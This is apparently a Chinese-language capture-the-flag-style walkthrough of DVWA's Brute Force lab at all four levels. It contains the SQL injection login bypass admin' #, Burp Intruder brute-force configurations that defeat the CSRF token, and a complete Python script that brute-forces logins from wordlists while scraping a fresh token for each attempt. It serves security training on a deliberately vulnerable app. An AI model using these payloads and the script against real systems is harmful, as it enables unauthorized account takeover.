DVWA Brute Force（暴力破解）全等级

Brute Force（暴力破解）

1.Low

查看源码发现关键代码为:

SELECT * FROM users WHERE user = '$user' AND password = '$pass';

Username处输入：admin' #

SQL注入之后查询语句变成：

SELECT * FROM users WHERE user ='admin' # AND password = '$pass';

#为单行注释符，#后面的语句不会执行

真正执行的语句为

SELECT * FROM users WHERE user ='admin'

所以加上单引号闭合字符串再注释掉

只要存在admin就能登录成功。

2.Medium

多了 mysqli_real_escape_string()函数,他转义了特殊字符，以至于Low级别的方法无效。

用burp的Proxy-intercept找到密码变量，然后发送到intruder暴力破解。

打开火狐浏览器，设置代理为127.0.0.1:8080

打开burp的Proxy模块

点击Login

发现已经拦截http报文了

右键http报文然后点击Send to Intruder，然后点击进入Intruder模块

点击右边的Clear § ，然后选中密码，点击Add §

表示将要爆破密码此处的内容

点击Payloads，然后点击Payload Options的Load，选择字典文件

配置完成后点击右上角的Start attach开始暴力破解

爆破一段时间后，按照包大小排序，查看与其他响应包不同的数据，查看发现密码已经爆破成功。

3.High

多出了token函数，登陆的时候必须带上token值。

token是计算机术语令牌，令牌是一种能够控制站点占有媒体的特殊帧，以区别数据帧及其他控制帧；token其实说的更通俗点可以叫暗号，在一些数据传输之前，要先进行暗号的核对，不同的暗号被授权不同的数据操作。

——PHP中文网

方法1——Burp爆破

burp抓包，把密码和token字段add §，然后选择Pitchfork模式

Pitchfork（草叉模式）——它可以使用多组Payload集合，在每一个不同的Payload标志位置上，遍历所有的Payload。

在Resource Pool（资源池）中选择单线程爆破，因为接下来要设置的Recursive_Grep模式只能单线程爆破

然后在Options选项卡，选择Grep-Extract（意思是用于提取响应消息中的有用信息），点击Add进入Define页面。

配置之后就会每次从响应中获取该值，本文中即为token。

然后设置payload，payload 1按照Medium等级那样导入字典即可。

Payload 2的Payload type选择Recursive grep，

它表示将服务器每次返回的数据来替换payload中的变量值，这里用来每次替换user_token的值。

然后在Initial payload for first request:

设置第一条请求包的token值。

点击Start attack
成功爆破。

方法2——Python脚本爆破

代码来源：DVWA_Brute Force（暴力破解）_High

from bs4 import BeautifulSoup

import requests

from requests.models import Response

header = {

    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',

    'Cookie':'PHPSESSID=u9a1hc9luq0u8fs4s2a8k12g05; security=high'

}

url = "http://192.168.171.10/vulnerabilities/brute/index.php"

def get_token(url,headers):

    r = requests.get(url,headers=header)

    html = r.content.decode()

    soup = BeautifulSoup(html,"html.parser")

    user_token = soup.find_all('input')[3]["value"]

    return user_token

i = 0

for admin in open("userPATH"):

    for line in open("passwordPATH"):

        u_token = get_token(url,header)

        username = admin.strip()

        password = line.strip()

        payload = {'username':username,'password':password,"Login":'Login','user_token':u_token}

        i = i + 1

        Response = requests.get(url,params=payload,headers=header)

        print(i,username,password,len(Response.content.decode()))

        user_token = get_token(url,header)

运行结果如下：

4.Impossible

通过源码可以看到，impossible级别在 high 的基础上对用户的登录次数有所限制，当用户登录失败达到3次，将会锁住账号15秒，同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这里因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令,所以无法暴力破解。